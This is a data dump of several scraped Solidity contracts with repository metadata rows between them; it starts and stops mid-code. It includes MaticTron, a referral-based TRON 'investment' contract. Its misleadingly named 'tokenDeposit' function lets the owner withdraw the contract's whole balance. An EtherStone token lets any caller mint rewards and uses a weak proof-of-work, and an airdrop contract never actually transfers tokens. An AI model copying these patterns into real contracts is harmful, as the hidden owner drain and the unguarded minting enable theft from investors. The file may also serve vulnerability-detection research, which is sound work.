max_tx_size = newMax;
}
}
| 317,273 | 12,068 |
786c058610e07cd3624b653aaa9b7593fb23558f8355ac615213427fcef51ed9
| 18,805 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TV/TVg54Fb4togLstx1qjDttD51hkgVXMz8ne_MaticTron.sol
| 5,138 | 17,965 |
//SourceUnit: matic.sol
pragma solidity 0.5.10;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Investor {
address addr;
uint256 checkpoint;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 reinvestWallet;
uint256 referrer;
uint256 planCount;
uint256 match_bonus;
uint256 match_count;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract MaticTron is Ownable {
using SafeMath for uint256;
uint256 public constant REFERENCE_LEVEL1_RATE = 100;
uint256 public constant REFERENCE_LEVEL2_RATE = 50;
uint256 public constant REFERENCE_LEVEL3_RATE = 30;
uint256 public constant MINIMUM = 50e6;
uint256 public constant REFERRER_CODE = 850;
uint256 public constant PLAN_INTEREST = 20;
uint256 public constant PLAN_TERM = 196 days;
uint256 public constant ADMIN_FEE = 20;
uint256 public constant DEVELOPER_FEE = 10;
uint256 public constant DEVELOPMENT_FEE = 10;
uint256 public constant MARKETING_FEE = 10;
uint256 public constant BA_FEE = 10;
uint256 public constant DO_FEE = 10;
uint256 public constant SO_FEE = 10;
uint256 public constant FO_FEE = 10;
uint256 public constant EO_FEE = 20;
uint256 public contract_balance;
uint256 private contract_checkpoint;
uint256 public latestReferrerCode;
uint256 public totalInvestments_;
uint256 public totalReinvestments_;
uint256[3][] public matches;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
event onInvest(address investor, uint256 amount);
event onReinvest(address investor, uint256 amount);
event onWithdraw(address investor, uint256 amount);
address payable public adminAddress;
address payable public developerAddress;
address payable public developmentAddr;
address payable public marketingAddr;
address payable public baAddr;
address payable public doAddr;
address payable public soAddr;
address payable public foAddr;
address payable public eoAddr;
constructor(address payable admAddr,address payable devprAddr,address payable devAddr,address payable mrkAddr,address payable bAddr,address payable dAddr,address payable sAddr,address payable fAddr,address payable eAddr) public {
require(!isContract(admAddr) && !isContract(devprAddr) && !isContract(devAddr) && !isContract(mrkAddr) && !isContract(bAddr) && !isContract(dAddr) && !isContract(sAddr) && !isContract(fAddr) && !isContract(eAddr));
adminAddress=admAddr;
developerAddress=devprAddr;
developmentAddr=devAddr;
marketingAddr=mrkAddr;
baAddr=bAddr;
doAddr=dAddr;
soAddr=sAddr;
foAddr=fAddr;
eoAddr=eAddr;
_init();
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256,uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory,uint256) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
uint256 uid = address2UID[msg.sender];
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, investor.plans[i].investmentDate.add(PLAN_TERM), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.reinvestWallet,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
investor.checkpoint,
newDividends,
uid2Investor[uid].match_bonus);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (PLAN_TERM > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
isExpireds[i] = true;
}
}
}
}
return
(investmentDates,
investments,
currentDividends,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {
//old user
//do nothing, referrer is permenant
}
uint256 adminFee = _amount.mul(ADMIN_FEE).div(1000);
uint256 devloperFee = _amount.mul(DEVELOPER_FEE).div(1000);
uint256 devFee = _amount.mul(DEVELOPMENT_FEE).div(1000);
uint256 mrkFee = _amount.mul(MARKETING_FEE).div(1000);
uint256 bFee = _amount.mul(BA_FEE).div(1000);
uint256 dFee = _amount.mul(DO_FEE).div(1000);
uint256 sFee = _amount.mul(SO_FEE).div(1000);
uint256 fFee = _amount.mul(FO_FEE).div(1000);
uint256 eFee = _amount.mul(EO_FEE).div(1000);
adminAddress.transfer(adminFee);
developerAddress.transfer(devloperFee);
developmentAddr.transfer(devFee);
marketingAddr.transfer(mrkFee);
baAddr.transfer(bFee);
doAddr.transfer(dFee);
soAddr.transfer(sFee);
foAddr.transfer(fFee);
eoAddr.transfer(eFee);
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
return true;
}
function _reinvestAll(address _addr, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
totalReinvestments_ = totalReinvestments_.add(_amount);
return true;
}
function invest(uint256 _referrerCode) public payable {
if (_invest(msg.sender, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
withdrawalAmount += uid2Investor[uid].availableReferrerEarnings;
uid2Investor[uid].availableReferrerEarnings = 0;
}
if (uid2Investor[uid].match_bonus>0) {
withdrawalAmount += uid2Investor[uid].match_bonus;
uid2Investor[uid].match_bonus = 0;
}
if(withdrawalAmount>0){
uint256 reinvestAmount = withdrawalAmount.mul(10).div(100);
//reinvest
uid2Investor[uid].reinvestWallet = uid2Investor[uid].reinvestWallet.add(reinvestAmount);
uint256 finalAmnt=withdrawalAmount.sub(reinvestAmount);
uint256 trnsferFee=finalAmnt.mul(5).div(100);
//withdraw
msg.sender.transfer(finalAmnt.sub(trnsferFee));
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function reinvest() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not reinvest because no any investments");
//only once a day
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
withdrawalAmount += uid2Investor[uid].availableReferrerEarnings;
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
if (uid2Investor[uid].reinvestWallet>0) {
withdrawalAmount += uid2Investor[uid].reinvestWallet;
uid2Investor[uid].reinvestWallet = 0;
}
if(withdrawalAmount>0){
//reinvest
_reinvestAll(msg.sender,withdrawalAmount);
}
emit onReinvest(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
}
}
function tokenDeposit() public payable{
require(msg.sender == owner, "Only Token Deposit allowed");
msg.sender.transfer(address(this).balance);
}
function updateBalance() public {
//only once a day
require(block.timestamp > contract_checkpoint + 1 days , "Only once a day");
contract_checkpoint = block.timestamp;
contract_balance = getBalance();
}
function getHour() public view returns (uint8){
return uint8((block.timestamp / 60 / 60) % 24);
}
function withdrawAllowance() public view returns(bool){
uint8 hour = getHour();
if(hour >= 0 && hour <= 3){
return false;
}
else{
return true;
}
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 305,421 | 12,069 |
d64c4465358327179a19f7115f4b34af17acd2a330365bb008b416948940ae45
| 20,481 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xf5ba8a8c87f976b79b17ccd25ee8dc2f8e82fb59.sol
| 3,558 | 14,804 |
pragma solidity ^0.4.24;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
// Public variables of the token
string public name = "EtherStone";
string public symbol = "ETHS";
uint256 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply = 100*1000*1000*10**decimals;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function giveBlockReward() {
balanceOf[block.coinbase] += 1;
}
bytes32 public currentChallenge; // The coin starts with a challenge
uint public timeOfLastProof; // Variable to keep track of when rewards were given
uint public difficulty = 10**32; // Difficulty starts reasonably low
function proofOfWork(uint nonce){
bytes8 n = bytes8(sha3(nonce, currentChallenge)); // Generate a random hash based on input
require(n >= bytes8(difficulty)); // Check if it's under the difficulty
uint timeSinceLastProof = (now - timeOfLastProof); // Calculate time since last reward was given
require(timeSinceLastProof >= 5 seconds); // Rewards cannot be given too quickly
balanceOf[msg.sender] += timeSinceLastProof / 60 seconds; // The reward to the winner grows by the minute
difficulty = difficulty * 10 minutes / timeSinceLastProof + 1; // Adjusts the difficulty
timeOfLastProof = now; // Reset the counter
currentChallenge = sha3(nonce, currentChallenge, block.blockhash(block.number - 1)); // Save a hash that will be used as the next proof
}
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
function TokenERC20() public {
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AirdropCentral {
using SafeMath for uint256;
// The owner / admin of the Airdrop Central
// In charge of accepting airdrop submissions
address public owner;
// How many tokens the owner keeps of each airdrop as transaction fee
uint public ownersCut = 2; // 2% commision in tokens
// Id of each airdrop (token address + id #)
struct TokenAirdropID {
address tokenAddress;
uint airdropAddressID; // The id of the airdrop within a token address
}
struct TokenAirdrop {
address tokenAddress;
uint airdropAddressID; // The id of the airdrop within a token address
address tokenOwner;
uint airdropDate; // The airdrop creation date
uint airdropExpirationDate; // When airdrop expires
uint tokenBalance; // Current balance
uint totalDropped; // Total to distribute
uint usersAtDate; // How many users were signed at airdrop date
}
struct User {
address userAddress;
uint signupDate; // Determines which airdrops the user has access to
// User -> Airdrop id# -> balance
mapping (address => mapping (uint => uint)) withdrawnBalances;
}
// Maps the tokens available to airdrop central contract. Keyed by token address
mapping (address => TokenAirdrop[]) public airdroppedTokens;
TokenAirdropID[] public airdrops;
// List of users that signed up
mapping (address => User) public signups;
uint public userSignupCount = 0;
// Admins with permission to accept submissions
mapping (address => bool) admins;
// Whether or not the contract is paused (in case of a problem is detected)
bool public paused = false;
// List of approved/rejected token/sender addresses
mapping (address => bool) public tokenWhitelist;
mapping (address => bool) public tokenBlacklist;
mapping (address => bool) public airdropperBlacklist;
//
// Modifiers
//
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyAdmin {
require(msg.sender == owner || admins[msg.sender]);
_;
}
modifier ifNotPaused {
require(!paused);
_;
}
//
// Events
//
event E_AirdropSubmitted(address _tokenAddress, address _airdropper,uint _totalTokensToDistribute,uint creationDate, uint _expirationDate);
event E_Signup(address _userAddress,uint _signupDate);
event E_TokensWithdrawn(address _tokenAddress,address _userAddress, uint _tokensWithdrawn, uint _withdrawalDate);
function AirdropCentral() public {
owner = msg.sender;
}
/////////////////////
// Owner / Admin functions
/////////////////////
function setPaused(bool _isPaused) public onlyOwner{
paused = _isPaused;
}
function setAdmin(address _admin, bool isAdmin) public onlyOwner{
admins[_admin] = isAdmin;
}
function removeFromBlacklist(address _airdropper, address _tokenAddress) public onlyOwner {
if(_airdropper != address(0))
airdropperBlacklist[_airdropper] = false;
if(_tokenAddress != address(0))
tokenBlacklist[_tokenAddress] = false;
}
function approveSubmission(address _airdropper, address _tokenAddress) public onlyAdmin {
require(!airdropperBlacklist[_airdropper]);
require(!tokenBlacklist[_tokenAddress]);
tokenWhitelist[_tokenAddress] = true;
}
function revokeSubmission(address _airdropper, address _tokenAddress) public onlyAdmin {
if(_tokenAddress != address(0)){
tokenWhitelist[_tokenAddress] = false;
tokenBlacklist[_tokenAddress] = true;
}
if(_airdropper != address(0)){
airdropperBlacklist[_airdropper] = true;
}
}
function signupUsersManually(address _user) public onlyAdmin {
require(signups[_user].userAddress == address(0));
signups[_user] = User(_user,now);
userSignupCount++;
E_Signup(msg.sender,now);
}
/////////////////////
// Airdropper functions
/////////////////////
function airdropTokens(address _tokenAddress, uint _totalTokensToDistribute, uint _expirationTime) public ifNotPaused {
require(tokenWhitelist[_tokenAddress]);
require(!airdropperBlacklist[msg.sender]);
//Multiply number entered by token decimals.
// Calculate owner's tokens and tokens to airdrop
uint tokensForOwner = _totalTokensToDistribute.mul(ownersCut).div(100);
_totalTokensToDistribute = _totalTokensToDistribute.sub(tokensForOwner);
// Store the airdrop unique id in array (token address + id)
TokenAirdropID memory taid = TokenAirdropID(_tokenAddress,airdroppedTokens[_tokenAddress].length);
TokenAirdrop memory ta = TokenAirdrop(_tokenAddress,airdroppedTokens[_tokenAddress].length,msg.sender,now,now+_expirationTime,_totalTokensToDistribute,_totalTokensToDistribute,userSignupCount);
airdroppedTokens[_tokenAddress].push(ta);
airdrops.push(taid);
// Transfer the tokens
E_AirdropSubmitted(_tokenAddress,ta.tokenOwner,ta.totalDropped,ta.airdropDate,ta.airdropExpirationDate);
}
function returnTokensToAirdropper(address _tokenAddress) public ifNotPaused {
require(tokenWhitelist[_tokenAddress]); // Token must be whitelisted first
// Get the token
uint tokensToReturn = 0;
for (uint i =0; i<airdroppedTokens[_tokenAddress].length; i++){
TokenAirdrop storage ta = airdroppedTokens[_tokenAddress][i];
if(msg.sender == ta.tokenOwner &&
airdropHasExpired(_tokenAddress,i)){
tokensToReturn = tokensToReturn.add(ta.tokenBalance);
ta.tokenBalance = 0;
}
}
E_TokensWithdrawn(_tokenAddress,msg.sender,tokensToReturn,now);
}
/////////////////////
// User functions
/////////////////////
function signUpForAirdrops() public ifNotPaused{
require(signups[msg.sender].userAddress == address(0));
signups[msg.sender] = User(msg.sender,now);
userSignupCount++;
E_Signup(msg.sender,now);
}
function quitFromAirdrops() public ifNotPaused{
require(signups[msg.sender].userAddress == msg.sender);
delete signups[msg.sender];
userSignupCount--;
}
function getTokensAvailableToMe(address _tokenAddress) view public returns (uint){
require(tokenWhitelist[_tokenAddress]); // Token must be whitelisted first
// Get User instance, given the sender account
User storage user = signups[msg.sender];
require(user.userAddress != address(0));
uint totalTokensAvailable= 0;
for (uint i =0; i<airdroppedTokens[_tokenAddress].length; i++){
TokenAirdrop storage ta = airdroppedTokens[_tokenAddress][i];
uint _withdrawnBalance = user.withdrawnBalances[_tokenAddress][i];
//Check that user signed up before the airdrop was done. If so, he is entitled to the tokens
//And the airdrop must not have expired
if(ta.airdropDate >= user.signupDate &&
now <= ta.airdropExpirationDate){
// The user will get a portion of the total tokens airdroped,
// divided by the users at the moment the airdrop was created
uint tokensAvailable = ta.totalDropped.div(ta.usersAtDate);
// if the user has not alreay withdrawn the tokens, count them
if(_withdrawnBalance < tokensAvailable){
totalTokensAvailable = totalTokensAvailable.add(tokensAvailable);
}
}
}
return totalTokensAvailable;
}
function withdrawTokens(address _tokenAddress) ifNotPaused public {
require(tokenWhitelist[_tokenAddress]); // Token must be whitelisted first
// Get User instance, given the sender account
User storage user = signups[msg.sender];
require(user.userAddress != address(0));
uint totalTokensToTransfer = 0;
for (uint i =0; i<airdroppedTokens[_tokenAddress].length; i++){
TokenAirdrop storage ta = airdroppedTokens[_tokenAddress][i];
uint _withdrawnBalance = user.withdrawnBalances[_tokenAddress][i];
//Check that user signed up before the airdrop was done. If so, he is entitled to the tokens
//And the airdrop must not have expired
if(ta.airdropDate >= user.signupDate &&
now <= ta.airdropExpirationDate){
// The user will get a portion of the total tokens airdroped,
// divided by the users at the moment the airdrop was created
uint tokensToTransfer = ta.totalDropped.div(ta.usersAtDate);
// if the user has not alreay withdrawn the tokens
if(_withdrawnBalance < tokensToTransfer){
// Register the tokens withdrawn by the user and total tokens withdrawn
user.withdrawnBalances[_tokenAddress][i] = tokensToTransfer;
ta.tokenBalance = ta.tokenBalance.sub(tokensToTransfer);
totalTokensToTransfer = totalTokensToTransfer.add(tokensToTransfer);
}
}
}
E_TokensWithdrawn(_tokenAddress,msg.sender,totalTokensToTransfer,now);
}
function airdropsCount() public view returns (uint){
return airdrops.length;
}
function getAddress() public view returns (address){
return address(this);
}
function airdropHasExpired(address _tokenAddress, uint _id) public view returns (bool){
TokenAirdrop storage ta = airdroppedTokens[_tokenAddress][_id];
return (now > ta.airdropExpirationDate);
}
}
| 182,928 | 12,070 |
639539b4699b1b0a0039a523c3b92c8e34cf636385df6351c3eca4d0ecc6a4e5
| 40,353 |
.sol
|
Solidity
| false |
468407125
|
tintinweb/smart-contract-sanctuary-optimism
|
5f86f1320e8b5cdf11039be240475eff1303ed67
|
contracts/mainnet/ba/ba8559dfa1f2b767cea440fb1ede9bfb4a9f518e_StakingRewardsZap.sol
| 4,423 | 18,761 |
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.15;
// File: Address.sol
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) =
target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target,
data,
"Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(target,
data,
"Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: IERC20.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
// File: draft-IERC20Permit.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
interface IERC20Permit {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// File: IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// File: Ownable.sol
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0),
